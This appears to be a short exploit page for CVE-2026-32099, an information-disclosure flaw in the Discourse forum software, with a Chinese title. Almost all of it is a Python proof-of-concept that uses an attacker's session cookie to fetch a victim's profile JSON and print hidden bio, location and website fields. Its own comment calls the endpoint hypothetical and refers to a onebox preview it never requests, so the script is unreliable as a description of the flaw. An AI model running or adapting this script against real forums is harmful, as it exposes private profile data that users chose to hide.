CVE-2026-32099 Discourse 用户信息泄露漏洞

import requests # Target configuration target_domain = "https://example.com" target_username = "victim_user" attacker_session_cookie = "_forum_session=..." # Headers to simulate a logged-in low-privilege user headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Cookie": attacker_session_cookie, "Accept": "application/json, text/javascript, */*; q=0.01" } # The vulnerable endpoint usually involves fetching the onebox or user card preview # This endpoint is hypothetical based on the description of requesting a onebox preview url = f"{target_domain}/users/{target_username}.json" try: response = requests.get(url, headers=headers) if response.status_code == 200: data = response.json() user_info = data.get('user', {}) # Check if hidden fields are exposed despite hide_profile being enabled bio = user_info.get('bio_raw', 'Not exposed') location = user_info.get('location', 'Not exposed') website = user_info.get('website', 'Not exposed') print(f"[+] Vulnerability Confirmed!") print(f"[+] Bio: {bio}") print(f"[+] Location: {location}") print(f"[+] Website: {website}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")